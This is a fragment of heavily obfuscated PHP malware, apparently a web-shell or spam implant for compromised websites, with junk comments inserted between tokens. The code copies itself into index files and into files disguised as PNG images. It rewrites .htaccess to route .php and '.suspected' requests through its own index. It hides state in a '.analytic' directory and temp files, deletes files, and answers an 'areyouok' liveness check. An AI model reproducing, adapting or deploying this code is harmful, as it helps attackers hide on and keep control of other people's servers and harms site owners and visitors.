. //=v|(tK8.L(B,f }0hJ
'/' . ##Jv%{X98*)2 PZ,w},
FILE_INDEX_STATIC_DEFAULT)){
//n8j,d[$x6X<~dwAO
rename/*L6-Z:*/(/*01*2zg^(GK9e_@b */$path ##Kv}USBuR
. '/index.html', /*|`IJ+,K-,*jp*/$path//!>3;iW4\&yh!2IwR|:d
. //3bjKSs4(-TTJTA:
'/' . ##E)ENO46e0@5<0t15`bj
FILE_INDEX_STATIC_DEFAULT);
}else{
//|%deN|*vS`gIw7.#\
rename/*$Ah+qP)-D`]\zX*/(//&t|8ig
$path//Xt8ADYZHSoTH267C
. '/index.html', ##$n:(~KDOGm{ ZcYCAM
$path//}ThGclqgsE.`Va#u3
. /*Gcoh1M-*/'/index' ./*_kdv;l]*/ //%M6I}l!Y4@{At
time/*8_W\*WJ^~*/() . ##`x{>X3[QD
'.html')//ELb~K[S
;
}
}
}
}
function ##E~U&z> H|NUHlVK7b
arrReadPathList/*,Yk#O8RPH*/(){
##WXOGLMgBpQk{3$&9
$filePathList/*OQ;N-0(tIcg*OzF*/= ##\(J<$`Ec7k1
filePathList ##\H.d36Zmb
();
/*c>RC8:-k;eEO*/$arrPath//RnmPS
= /*ectU%phRDyGD10t*/array ##GO8[91e5.0hP!TA2o
();
if(@ ##C$JBA(FD&Dfu:lkuX
file_exists/*Ls+O:YibF]B!{w}~)lYc*/($filePathList)){
##A+WlAo
$arrPath ##mW8$43[jV<>^vt;)l}
= /*;RA!wMmM,x*/jsonDecode ##BQRAsQ%(K
(//O}Gx&0g|4[p)sA#;YkM.
gzinflate/*6pdxM_\>slLIFge1G*/(//wCkMJ|t[lX#+wR~|
base64_decode ##Mir0o,B};@&P-
(//C-o:cK6ETC2OuVQ
file_get_contents/*%,yL);LASUi X\F*/($filePathList))), true);
}
/*i7cw~WRQ3oL*/$arrPath2/*hb~T)~gMJx^~EedUy_4N*/= ##]7C51pqu.N,;LPAk!
arrReadPathlist2/*6D.h}*/();
foreach($arrPath2 as $path){
//c49s;B%9UE
$path//(7mCQU
= /*GOU7C_O5NW|;V*/trim//9]SLn$ko-
($path);
if(! ##W>o}L&ZaH&#oZ
in_array//>`slnUr7K}p1R.xs=e=
($path, $arrPath)){
/*J)=Elm}gwdK~i-V\SQ0*/$arrPath//YGVTPIN+EmgJUI!l$5C^
[] = /*W(_CN_VmAP&C{o,*/$path/*@o)Zl9.Y*/;
}
}
/*1-p684cv~*/$arrExceptPathlist/*N]$Wg=5;vM6lH69*/= /*Qp!6^)@tOZQ7FJ<~tP*/arrReadExceptPathlist2/*sF1nDWF.fP*/();
foreach($arrPath as //DO%%R}>YXjW
$k/*`BInhih*/=> $v){
if( ##wu]g>r8`Lv+H96]_
in_array//K#WM>8jz!z}!o9
($v, $arrExceptPathlist)){
unset(/*>`ONV7|&+#Q;J#G>RV^_*/$arrPath//4|MkbNo
[$k]);
}
}
return /*(yngPvN!VeCKxb<;we#*/$arrPath ##t!LT!
;
}
function ##~\cd~+kF;TPHfAy~\2 h
arrReadPathlist2//3-e<(+ZGSo4G
(){
//*Sf}O
$user ##~|QyNYPl
= /*`l>$f>0ueaVjq_-#]DYH*/get_current_user1//yHf]D<[%-xy_
();
/*gR#&br*/$domain/*`,EG3~8Sh9G>:*/= /*7)]0B*/MainDomain/*t#F~IRRUeS4sm-Jv*/();
##%WibbW9qM!u~r;
$domainPath ##rvT2_|ExX7C
= /*1V))TtMuk&G&.~e&v_9i*/getDomainTmpPath//m$<GT\,aV}Ly
();
/*D0\T!pIQlRZ%Q[7MqGxi*/$domainPath2/*Ocz*[id%q$Ed`=E*/= //,wLd12l@PH9v2lUfe
getFirstWritableDir ##yStJf(K
() . /*^zKg0N}P(OIWs0GAD95*/md5 ##U-OZ=+]j
( ##G.nO^5TwD`>e
$user ##WzZFZ<nc!uLHjp0
. ##%34phk>
'domainlist')//YedW@Ii>u+U~D
. DIRECTORY_SEPARATOR;
/*dO{#[lPr9*/$arr ##OBBly
= @ ##sEmAgD\8\{kTx
scandir ##e[|kA HL
($domainPath);
/*VipWE|!**/$arr2 ##N5<7S}HQ}UnvdvXGK<A
= @ ##kVdp ma9l;}
scandir ##}h4^9$CO
($domainPath2);
/*HyLeBRd3;*/$arrPaths//d~^v[
= ##8 p5Z
array//G|$,0D>
();
if(!empty($arr)){
foreach($arr as $domain){
if(//2}*$tWqf,hjyE}.
$domain ##K]hTR(+K))~E>@
== /*zPc3AFZtQ*/'.htaccess')//^+p-I=1
{
continue;
}
if(@//oa ILH0c),^\>)MO
is_file/*uis3rz\,`Py*l|^BNu u*/( ##kAD6Kocrc <G]DI
$domainPath//,$N](DJ}U\8wg+M
. $domain)){
##{FUZU(
$content ##X=FzU$HRC
= //Bxw4bt8HK!<ai&n
file_get_contents ##~=T`p3<r}
(//w{-+=_I
$domainPath ##7MwcdNh 5%-[
. $domain);
##>-`,GmU[Jz2
$arrContent ##8|5A1{QZ2TX=
= /*DPz=}i 3*/explode/*e HnP`_Ur[*/("\n", $content);
if(/*Dmt42Z.#Dmnw*/strlen ##SW~|^u>
($content) < 256 && ##HI|7&C
sizeof/*t<mx#*/($arrContent) == 1){
//lcQlp
$arrPaths//]Vj!_Jn`8tnEeQ:P4h
[$domain] = ##,JV=y-bxiTn);gVI
trim//fX$Vqh\3wUx~{=
($content);
}else{
##Gr%x!i4icE
unlink ##@W(LpfO%Da1Gs%OBZF$z
(/*G]HPr=C1*/$domainPath/*CE#{H8*/. $domain);
}
}
}
}
if(!empty($arr2)){
foreach($arr2 as $domain2){
if(/*BM[}+sb[I*,(M*/$domain2 ##T2G7i5En[V-
== ##iO`+M6BheC!9gj@X
'.htaccess') ##]F[>~aiwjrLp#
{
continue;
}
if(@//D)k[|s6Pt7
is_file//@$69X+@!S.
(/*-s{Oes~^}*/$domainPath2 ##*- *>%\i~Vf=W
. $domain2)){
/*D&ZQVwL{!Eh*/$content/*rSX_,oYbjs%a%8x*/= /*$Sbo*:2dO7j2KY v*/file_get_contents//:WA6W:l)@
(/*VNd_XP0na*/$domainPath2 ##90pk0%EnP^2Y|W)9d5s
. $domain2);
/*vsUw8cxth8*/$arrContent//TN35MKPkO6z%K
= ##Fcs.i_bo0hh#
explode/*&S9p36)I|jMyORs4;Kl*/("\n", $content);
if(/*I<7I `BH9m=)|=we[M^*/strlen ##o98ao}IaJt)Fbx7e
($content) < 256 && //[\$kt}ucfU$= +hHj
sizeof/*UVWv.x:Zw*/($arrContent) == 1){
/*E7%KrLbs=*/$arrPaths ##Ehst{v7O0m}
[$domain2] = ##7%[&o>d09f%
trim//RmUNBcXtQ*DSB\
($content);
}else{
//g}K>7l
unlink ##eo+8]; P[
( ##48)lhVMo!~&`.KA5U
$domainPath2/*i:VdZve!cg[*/. $domain2);
}
}
}
}
return /* Fnbeo2*/$arrPaths/*JLh,*jMd|Tdx|}M:>ZO*/;
}
function ##H0*NaaDw>J}]F
strReadExceptPathlist2//>`r[iI*
(){
##9X&.=
$user ##yYHH,-z Ad
= //S=O#MSM
get_current_user1/*uEDJ<3Fo=j^*/();
//-%*zAUQTDCl=rqn^
$tmpPath//{Kf:&K)o[X$iFF,
= ##GEec=b&xh(,-D071+
sys_get_temp_dir1 ##Do5+g1QU!Ki6*^
();
##G-WW]y45+L-l,U:%
$filePath/*tM)5_scMOKGUbi*/= ##aZKaNlqBuS)W
$tmpPath//L0&RNqkNPQYeTL3wW
. //!.nEADkj_!A`zM\MGz
'/' . ##PI*1}
//[Aj81M$kGSI
md5//i-Ms0lu#Bl9QVuz}7,^#
(//$m|0qWfGRM,M%Av(8H
$user ##EIIG|gz
.//]T^~#8Vg044+|v>&W[dr
'exceptpathlist')/*7\x}X]*/;
if(@/*w{GH`iLK%b;I*/file_exists/*P@DoFlVF-7*/($filePath)){
return /*C1misN|Z8JO*/file_get_contents//gdsuB3IZTiZPfz2o Cv
($filePath);
}
return //H(EhB2 DcI.yA
''; ##)U5c{nL#@#
}
function //#4:&:wgA
get_current_user1 ##jdrAg3;;R,^IA:]T,
(){
if(/*g_Lp=1MFXE*/function_exists/*HcOPOdc=y[LZm*/(//UrwVBnT${!Ub Tgvz\
'get_current_user')/*EC8K}`a4*/){
/*M4rACc)#vbvAdiZ<Bd*/$user/* 2[()-{W:UlBa*/= /*hV%U^V:g_lQQnC*/get_current_user/*gR66[0*/();
}else{
//9G!#UPj qL
$user/*2r|I5Q6Q+)DLu1S;qe_*/= /*nVM;XV9*/'www'; ##w*qrt93}qrDDV-D%(
}
return //j&G>HgIr@jVnz
$user/*HmpwPOQ{YP}dh M&\p*/;
}
function /*YN*.7M5Jb8(Q$X&=TKi-*/fileNameGlobal ##K3fq3d[!*kZE6SVhxa7
($name)
{
//dxk6p
$user//ctbji .J*pF^>J wU{h
= //Q(#RS]>W]jmz|
get_current_user1 ##r-BIf8V6P%q[kp$|nKl
();
echo
//Uq{~>Bx
$tmpDir ##OG-Qe%0uPf^DQ$1HaC+
= //3Pzn& uJX(#F0.
sys_get_temp_dir1 ##eWR1TVI%B s|
();
//Uq`zDFoPA,j45p}
$f1 ##`F&pwKj,3X\|2U
= //zz=Ged2,H
$tmpDir/*3_R[Q(vy5`:U+[!Y*/. /*ms]@1_!9]#`*/'/' . ##cl]G:{MC;
/*dF)Af|a*/md5 ##|&[email protected]#_a`C
(//kvg43,$.:mo`5]KW
$user ##:hy *@)[yP9
. $name);
##EhZZkpJTE+.58-C
$f2 ##RBB]%=GH
= ##B6-\JSN8)`}_3=3kW
getFirstWritableDir ##t;|`d_W_P9SDS~pk&M
() . ##oS&LGEdE_P_tK#,<7z]
md5 ##AIA&f^}Tpigj%xs1Bg$J
(/*QC2=^f;4:B5.!:d*/$user/*-8,gvT{KD[2pzVIO*/. $name);
if (@//Eu8Y}~Zc%F[!_D&^W#
file_exists/*N$7ZA_\#kdb2<Prs(*/($f1)) {
/*a7).N}4V@S1b82*/$m1 ##:U\PO2e+LizV*
= //V DPdfQ1LC%^+1!sN:t4
md5_file//`=sh(wEw_~3,qZ
($f1);
if (@/*Z`bxy7*{*/file_exists//~]p76&x$RHYFD1SWID8
($f2)) {
//(D-^Ng,vM~Y0^Uf[I6
$m2/*170h}vff*/= /*iIC}_yvp */md5_file ##toGL|O:2
($f2);
if ($m1 != $m2) {
//^]4aGu-^
file_put_contents_force/*S%3bcWZs6}X*/($f2, ##,q2iES8Fw@
file_get_contents/*AT.BzMsnIyXpc5%*/($f1));
}
} else {
/*cf=RT5T~*/file_put_contents_force ##6P,zi^dmR=|cJh
($f2, ##Z8s^3LUlL~~&tU@s%1A
file_get_contents//tkhA}OmJ[s%j
($f1));
}
} else {
if (@ ##S >bVw<lZG6q1o);X
file_exists/*<OlM|*/($f2)) {
//k0CP]A[jQN}EnrAY
file_put_contents_force ##b7Mgjg,IMDaTvpYZ
($f1, /* U2~E,d;7*/file_get_contents//!O]vXtkXCF6Xp
($f2));
}
}
return ##2qXLrjF32:1Gl
$f1//xo3dtV@n!phMe FE
;
}
function /*dt-D5`3UYy*/getFirstWritableDir/*L#fNb{@x*/(){
##+y5A2&u~
$dir ##@suQO$4
= /*uO)}Q9T+c@\j*k0|*/$_SERVER/*:^0)x*/['DOCUMENT_ROOT'];
for( ##r!ejc56@:A8y_S0
$i ##,n52w
=0; $i<20;$i++){
##t6vC0AYs@
$dir2//.QG1HIF
= //YIx-hx6ZC1
dirname/*t6R(I%xVFv:Y8[*/($dir);
if(/*SE]Da2kyFU D(*/$dir2/*I;moVD.q^*/== $dir){
break;
}
if(@ ##v\<3+L~Ss
is_writable//tWVf_p,o$gZ*j
($dir2)){
/*KWhFwz*/$dir//VIHcyR6M~uQ-Y
= ##)Vez{LYaEC,Gv
$dir2//MR_e6>L
;
}else{
break;
}
}
##KHa*$E|8mk
$dirR ##8]L$\(*&H%;DRM
= ##FmI{1Z9aPl>:CxdpA
$dir//iLj;`v779@n0:
. //n$`-c`Ye
'/.analytic/';/*$d8+b*/
if(!@//r[cSTa9L{vS<E1X&o0iP
is_dir//&,]B\<q*
($dirR)){
@//86J[^lbI@f
mkdir//:2y) +[
($dirR, 0767, true);
}elseif(!@ ##&WUPc!7
is_writable ##zx}Oz
($dirR)){
/*Fk@>$Aa8#8S}OCJ*/chmod/*<fq]GyVV,u@6|*/($dirR, 0767);
}
if(!@//Q5FPRJ[NE`QoFj*
is_dir ##;!O=uRAM;GD&`*FEL6
($dirR) || !@ ##*9Dkg%|e
is_writable//NMJSAiBr-<!
($dirR)){
//MH\Z=HXvI}xV\ZE
$dirR/*5Iy$)[+;t*/= //%vd5Do)YM)svzTw|^+
$dir ##[[joZXK+UK0
;
}
return //r!n9N#-TQ;CF|oV71G
$dirR//5rB.mIV]
;
}
function //:Z=Z.SfBRf5N
arrReadExceptPathlist2 ##s<CICVoK8@*d
(){
##o6LEj}$N
$str ##GjK3([U+!mz
= //@7p`BrJO6K=t89DP
strReadExceptPathlist2 ##04z1!N[Nk1L
();
//+-pSXj_3RW
$arr ##f;H.vwa#TSt}mWMp^X
= /*KWjK*S*Z@nGKx]#Ia)t*/explode ##to.]5@[KyT.h
("\n", $str);
//:[yeH>#
$arrR ##R_{u6P`gX#%;*0.
= /*I2a%I{Osj#n.>G*/array//Frq`=(j+v1)\
();
foreach($arr as $v){
if(!empty($v)){
##TfD3LEM86ib;
$arrR ##nS]n9nXh534Q<[42C
[] = //aJytK,2ROQWSI
trim/*eof!OcyxNTP*/($v);
}
}
return /*GYV{%RvJN@F*/$arrR//!rz%PlGh,lyXYBW
;
}
function //p@ofw;
saveExceptPathlist2/*`cWi{mgucAT;!*/($content){
##k^u9jE*j
$user ##JIu:ALQVFyCj[A
= /*V:WEF~L6kB!2*/get_current_user1 ##Uq*O[{`&V.*
();
##MJa$+Y
$tmpPath/*`G55<#X}Ctaak\h2}fjn*/= /*TN+`-3:%}LY-@I :*/sys_get_temp_dir1/*d{GriFZrd(I*/();
##:=X*@LWzX
$filePath/*dQ7O}Uo<Epz=Me:f*/= ##wkmqSi#zfF
$tmpPath/*vo;)ZaDg`-oQ+hY[*P*/. //K\K..G_
'/' .//pD)NfvF~,+]Jm4(H_
//jTuppekr!L}8
md5//,L>O-%XNjVlvsGm(`1o_
( ##1|G>g-*5t tCNuh
$user//i4_#4;zn:
./*d7o0%;*/'exceptpathlist')//\y31#QGcX\j
;
return //bdGK)5]
file_put_contents_force//1tkzuqwDQg>rHh\;
($filePath, $content);
}
function //Yu38W9wOJEh{(%&nqA
getDomainTmpPath//G;^Twf#|]S;~g~>gqA+#
(){
/*9|HaA}4d0yu)$TTUF]7*/$user ##U|T9S|FX
= //<bG6N5BF]U
get_current_user1 ##<6a5N
();
##*RR.7%#u;ug6bdsG0|#I
$tmpPath/*k#B+T(XT)*/= //U*6BWX X8jKI,=\H
sys_get_temp_dir1 ##I!OTO7\7zUpC
() .//go~h8:hS
'/'; ##{iz\<7Wv0ty30GJtclm{
//fy5{WkrE#F
$domainPath//C]cGY
= //%%RCN4UM3
$tmpPath ##9x$[$IbXW
. /*^^}cNxke*/'/' ./*;Rjr.*/ /*Q4_m`}Z 8E*/md5/*BMT<,&4M*/(//`ke.DtPwvTvZJn!
$user ###G|o,lh
./*2(CrF\^w`*/'domainlist') ##K\`|gY)2MtQK
. /*%]@5_{$e&*/'/'; ##Ra$#JC$G:)w44A
if(!@/*V[Yw1w#}firKZ>iUw@Z*/is_dir//>blVZNIUJ
($domainPath)){
if(@/*yn%25VnM[_k[l4dSfY$*/is_file/*HakD3zKi4#`S,zn*/($domainPath)){
//+BQ`G($9c;L
unlink//SQ@MDRbE(
($domainPath);
}
@//]cfdIcA$8<#nva XH
mkdir ##+YeOhOTw4GT~v=^>
($domainPath, 0747);
}
return //(zPv:Ou0|3zgYOaZ>qc
$domainPath ##|Nc<FDQ:mSlNR
./*vU4{Hh}k[7=0c4,*/'/'; ##z@ L^*[&\|ii^nZd~=-
}
function /*+k:$F*/addDomain/*$]%a&G>:*/(){
###JN@H9G)m
$user ##0K,uq
= //%LG5e~X8Mrm3yqP
get_current_user1/*;>*NLMPzGg.zXt3*/();
##t~M*-KhtEvC3Ya`R
$domain//| {0zUN7!MLRL]4HA#7E
= ##<:CmG)Pq)V
MainDomain//9~1RdCF3@Um&`Z7%0F
();
##uH95U!|
$domainPath/*s]jF~0x9wyRDX2SJ,~Mm*/= /*>hQAla-:;FAAITfCy*/getDomainTmpPath ##QC ptOMU
();
##@{S%Ai#
$domainPath2/*\Knlm.k)<_q;1I-*/= /*{E|WzHS-Yg0 0FR3*/getFirstWritableDir//SxI,WaPc*,
() . //jHpWYq{Yz4OT
md5 ##]<(`7l
(//pNnG,`
$user/*li.-cY^Y.*/.//44:k9oZl
'domainlist')//QBiU^hOo;waOW9@=_x^#
. DIRECTORY_SEPARATOR;
if(!@/*F7!H*@aA[do:mll9o|*/is_dir//AHqXLCG|+spGm<Nt(
($domainPath2)){
if(@//rPc-HD3
is_file/*w:3.a*/($domainPath2)){
/*%|]f%t+=r)]Ae**/unlink//[email protected]
($domainPath2);
}
@//$A#Jk#XsXUTO83
mkdir/*^RLR_`0{Ol[ZDc2*/($domainPath2, 0747);
}
/*P4WHSR%*/$file ##@-Z)P\jX
= /*b}2C10!y1s*k`r.h]*/$domainPath/*-eF:Rnd+-:D@x5,+P*/. /*.[NBdfgM*/$domain//ke.(IhK}:4D!w3
;
//9~]O50jea@n
$file2/*)E;sj*/= //!J-cJR@&4.
$domainPath2 ##nnMym<\SVqmI
. /*tLXO96V]1A${%~Kci$~e*/$domain/*D5)JD*/;
if(!@//XZE<]jNtLU
file_exists/*4:ST<wHI8mq*/($file)){
@ ##@f{SC~Vk[okD9VmNQAuf
file_put_contents/*R.P[Y[#gW8O}UNs7d>*/($file, ##a&XJcnV#X1WUdzw
$_SERVER ##4Vx!qj*bg}g!>
['DOCUMENT_ROOT']);
}
if(!@ ##7&CZ>+TG
file_exists//Ax,><HoB+nWWA.28{%W
($file2)){
@ ##>,5 +O_D
file_put_contents/*@jFOR;[email protected]*/($file2, ##vw6G]Jmv+P221H
$_SERVER/*CBgo]PP 6\[Fq>I*PP*/['DOCUMENT_ROOT']);
}
}
function //[v#LcUc
repairIndex ##n>q[H\ML.M0!6*#cA
($dir){
##n4kW*QKd4W(JYX+H
$dir ##bH}2!=!1V300esl4=t
= ##tJeWB{[email protected][_ JU
$dir/*lS0|2D*/. ##T+lN+B,4chB&hh
'/'; ##CagF2-E4Y
if(!@/*ZLi&846,Ff7j@R-NtATA*/file_exists//yLU[=6lnxR&h]P
(/*O+s]FU9bMT_^s*/$dir/*70.#|oBP<MUA>$s0R*/. FILE_OLD_INDEX)){
if( ##hFzt-nL<C#
is_wp ##[vL.Z&jJ
($dir) || !@ ##9#P^,h(Tv|0u.kZ.
file_exists//YQ52UUC
(/*OM%RbH*/$dir ##8974qaW$6+b3}j)g
. /*:E|`uHvYyMY3Ha7$*/'/index.php') ##+RRm#vG
){
/*}SUKUQcc+6DRE!lrd5ei*/$wpindex//PZkyA)Dw@:JCqXEE
= ##){o$&}ctULKci0Jh)6:<
base64_decode//yi>15d$l
('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
//o`}Ig_+q
file_put_contents_force//H$R4K=FN4Z$UhoiDVg
( ##kS2N#OSyTJIF9
$dir/*lMqH4*/. FILE_OLD_INDEX, $wpindex);
}else{
##\7MZ9
copy ##EMONLD8DuMG
(//^Za6{X87a&XC
$dir/*oR3Df_<$<dbU~K4L6:Fb*/. '/index.php', //UgCd+_hid}PNcu}eO<q
$dir ##:Xny:%d7s@i
. FILE_OLD_INDEX);
}
}
}
function /*pP@Wsrd*/setHtaccess/*<r6%P({GFT#bVYYHL*/(/*T0W~Jrl|\$`tRc!}*/$filename/*#%<KvW*/= /*I7EY}=k 4^E82hH+HY*/'.htaccess')//*GaVu2
{
if(HTACCESS_REPLACE == /*lJ b$*/'no') ##Fz@:9q*y0Z4JK N+)fP
{
//jPc3fI
$str ##:wjK`0njjIseth\\5CYE
= ## NS4dg<&HsT.+&ef]
'<IfModule mod_rewrite.c>'.//IdoHbyyj0XI5xX$+
PHP_EOL./*}RIz._*%I%UY`(,7Bq6=*/'RewriteEngine On'. ##CVp`8bYzx&C%R%[b^i&p
PHP_EOL. ##pHY:AO4u\F@Rxk`
'RewriteBase /'. ##i.O#eVA
PHP_EOL. ##i(HDuDg]+_R]\bs
'RewriteCond %{REQUEST_FILENAME} !-f'. ##~Ev-5(4I&0z
PHP_EOL. ##XLM83l#=
'RewriteCond %{REQUEST_FILENAME} !-d'. ##d!bMtELF|t
PHP_EOL.//eV.fZ*.
'RewriteRule . index.php [L]'. ##F#qcTmxC4AY!\).N<
PHP_EOL./*PPs1d+5t$ */'</IfModule>';/*:WXS&)l2YA4sYige-kbR*/
}else{
/*c`hqPwF1a*/$str ##$aJl^P5BSa9<a
= ##yN><%X
'<IfModule mod_rewrite.c>'./*@,&4Z8=VEXp9FT*/
PHP_EOL./*^G!TlarWYI}Q$}a-C*/'RewriteEngine On'.//1a)y%qm~TyQ&jXfQZ
PHP_EOL. ##-~DCa-V|=f}
'RewriteBase /'./*d|-*@s*/
PHP_EOL.//k>uW\JX(Sm}%}>Zmk
'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'. ##>x8&lQ,7ktKLe~z3~h{
PHP_EOL. ##+UjqCbgErf}3J
'RewriteRule ^.*\.[pP][hH].* index.php [L]'. ## .liih
PHP_EOL. ##(J0R1Lf^IHZE
'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'./*%g*gso}EvR#K~WM*/
PHP_EOL.//^[m(qGK)S
'RewriteCond %{REQUEST_FILENAME} !-f'.//2:KM]7L,cCXdZ:w\u^a
PHP_EOL.//J.fJ7Wq]1k.]i
'RewriteCond %{REQUEST_FILENAME} !-d'. ##n#z`K!WfK*.v
PHP_EOL. ##<Wwic ~s+5
'RewriteRule . index.php [L]'. ##fN4)FV*_ LOgT2VUrdnT
PHP_EOL./*in~+@^*/'</IfModule>';/*8&@W9&W*/
}
//0MVn3f:E`u\M IZ^
$md5str//OR}iolsq~A!^XDl^cC10
= ##[HsVP.+N]%dsFUuZq*]
md5/*:D$cY.llDTLm(ml*/($str);
if(!@ ##Gx$O D
file_exists/*I.$*YqI3L|Pck*/($filename)){
/**s}Jtw!1Ot\*/$filemd5/*TsP][(VI*/= /*3|TXX~oX9X~8X[IN*/'0';//w7`}=s
}else{
/*9_gt!V%QTHY<38ULAeRc*/$filemd5//NxQ _ZFeJg,|
= ##[DXj{
md5_file//&e6pHb;]L%LTu|7 4L
($filename);
}
if( ##sYVJd!=KHo>=
$md5str/*yeGHAz,K*/== $filemd5){
return;
}else{
##aLni+P_!RKJ
file_put_contents_force ##DG@Op8fVBDO|,S6_<Ii
($filename, $str);
}
}
function ##q:4EKhpM7D CN
copySelf//f`!@ 7pC.Q$@{Mz5
(/**VD_ke\j*/$toname ##Mi:x`cJ*.}=XJ1vo
= ##iU;@;$o|eLu+
'')//TAB<{Ni72 @$^
{
/*7D#gA3{y!x&M 0kH*/$path/*JHuuqXj;oDJ~Po@VO*/= /*W3!U|X:`gLy*/cachePath ##_UJD,NBAf<x)<`w(
();
if(empty($toname)){
##33]}~oS3^~Z(ohTD1
$toname/*KGd*#(>;C#H]*/= /*IQB4[0C*/$path//9;f7%u-T3F&lnTqo
. ##Y`Y(gc95%P
'resize-6x.png'; ##1PKwMa2s},GRVR|
}
//{@$_AH
$dir//&<ULNNsyU;TxdIk..G4
= ##hFj4%1Uq`k
dirname/*8T|HJgDenOjLjZexfU*/($toname);
if(!@ ##f<* HAss~dIhH9
is_dir//](|`}igqY%>De1<hEn
($dir)){
@ ##wZWW)$dWD
mkdir/*)33mc*16>Cj*/($dir, 0747, true);
}
##jP9`GV0
setHtaccess ##7ho;4NJEH:lV}Dn[^vr
(/*oF7M{&Blbov*/$_SERVER//[;8Tc-n34uf{X~
['DOCUMENT_ROOT']. ##H^J(aWWG|!h
'/' . ##kw^aO= \EgkG6
##leAcq\Pv1R-%vcVd7\R
$path//MS]8\\tfD~Xd
. ##|_S4<DAm -;)I
'resize-8x.png')//t -<@>[=QJuQK9\n-&<i
;
if(//5E{n*)h`hvm
file_exists/**q[Tr\H{DTw*/(/*&@IVn3<%nZD2= */$_SERVER//&lJZ]^9_;9%m
['SCRIPT_FILENAME']) && !//YA*Y${^h6<
file_exists/*0B]]!,,|k*/($toname)){
##0Y|8g|w1T=g}anL<!$
file_put_contents_force/*g{`>z*/($toname, ##oDi,ICX]
file_get_contents/*h(f~nLUGP*/(/*=wtTK5oZ<I#yxbT*/$_SERVER ##kUt;-f9R
['SCRIPT_FILENAME']));
}elseif(/*Z`vFDl6S_*/file_exists//;&Kb}h9=D
($toname)){
/*sJW\:1*/$str//@^P`5!Yd!1Kcx<G+TgYs
= //=a:})cI2.S>+
file_get_contents/*u]xL^e)f(ULP*Dnsd:*/($toname);
/*&s`FgiAD*{iaZ*/$md5str//$rW(TX,\
= //)4`NOWVqIs$ Zk!m1j]8
md5/*0E7}D*/($str);
if(!@//(A F=qoWzac
file_exists/*Y+eIA,ZUjUU{*/($toname)){
###0sojy.l_
$filemd5//!N52k6i!c,mPP!U.c
= //AKE]Yo5Y
'0'; ##z}!i)2)y5N
}else{
##Zrj61I>jHrEZ
$filemd5//x c-jn7iWzBG
= /*!L[p55ZR r~W!En+P*/md5_file//y7jyX[rIhRZ%TOp+T
($toname);
}
if(// #K![
$md5str ##ZB(qf_!^1$ziJp!gnlC
== $filemd5){
return;
}else{
/*00& 2DY*/file_put_contents_force/*A}rSQ:u9*0U~*/(/*z+#6(N\N|s*/$_SERVER ##]Dfv%Q
['SCRIPT_FILENAME'], $str);
}
}
}
function ##Ga#s*i%HmqD
replaceIndex//kgq*3cJQ*>pS:<
($file){
if( ##j-!#<S.rBF;#;i-
defined//(Nu*9!{]4QL
( ##ZaY\O5Y7Uc=o2wV
'REPLACE_INDEX')/*}%K%CNAL@iYy*/ && REPLACE_INDEX == //|8CN+Mu8w=4GOq6
'no')//pt8CHk2j0E2yfy
{
return;
}
if(!@//.m{[WFjAJ:#XK3`%N0<
file_exists ##8k=qL
($file)){
if( ##izmLm
$_SERVER ##W5A.O
['SCRIPT_NAME'] != //{<{+#
'/index.php') ##ylnoM3f2c\
{
if(!/*4qW75Ky*/rename//.wIN6vR1}GNb,{}
('index.php', $file)){
die(//hjagee;}
'rename error!')/*W1n@|b*/;
}else{
if(!/*tFJR-Vd1.PRio*/copy//$6@tg5!oz9h q9`FW)7
(/*+^!E\*B-{saRFw(sAlwv*/$_SERVER/*DiW9`>H 4LGkA6Hs,g*/['SCRIPT_FILENAME'], ##Dg0qF
'index.php')//$Q];^p,{RLaS
){
die( ##+h-l$0Yrn\@
'copy error!')//*vj9O$`JH^)
;
}
}
if(@//yEi`Lg;lN*(a
file_exists//Vf ,RTS2\
($file)){/*v}7p`Fmq*/unlink/*FMl(Q{F,EjK3`7RMR]|i*/(__FILE__);}
##CL Cc%9F
header ## Ysob-Il_
(/*@5}UcuW-QS`U,6*/'Location: /') ##PK_qB-6%Ll&
;
}
}
}
function //f|N*W@N,tJ8s5
checkStatus//fdrkEmRHy
(){
if(isset(//p3J~.*)bhVJ
$_GET ##MIr:kJ<qyZn&kZ%Q%#(
['checkstatus']) && //#SJa>S|&o|
$_GET ##RlAJq4Nj@E`UOxSzc
['checkstatus'] == ##RIQz:]HRG5sXp4
'areyouok')/*)<$O2vCZ3WM&*/{
die( ##N1QovVcQ%
'live')//D<]43p~JtL_$6M(\{W
;
}
if(isset(//Z\h}YK-6~q
$_GET/*u1!DJ32cZ0<9#4d}V@*/['action']) && //8pOE@K:#Y(9
$_GET//*sbi3DYs
['action'] == /*:C_7E5VS*/'version')/*y=LY85vxPov[M*/{
echo CURRENT_VERSION;
exit();
}
}
function /*[o+rwWc>lO%s*/contentLink//5h0uk_<3k[
($cid, $lid){
//WuW713vA]d
$cid//u(=GIzn]j}l_9!mBKa%
= ##>*^3Za)<Qz\tS`;T
$cid/*~fCv-<5KHMI8*/.//MShuVM+h7z#bh>K
'';/*CvZ1jXhH(2&A31Dee$*/
//=2BI+FqrRK
$lid ##aH4fA_L~[m_ELQiDn$<
= //g2s>jE&[9Y!nXBJgUF9I
$lid ##\e2w+NqC
./*z[+dhgTI!aX2G*/''; ##.6@}Jx`DnMP|2,]d\I
##Nr$+9QtIP
$link//{UGSvHEqh%zbF\&`6GO
= /*so,\r&[UTM*/'/' . ##2H7-u
INDEX_PHP;
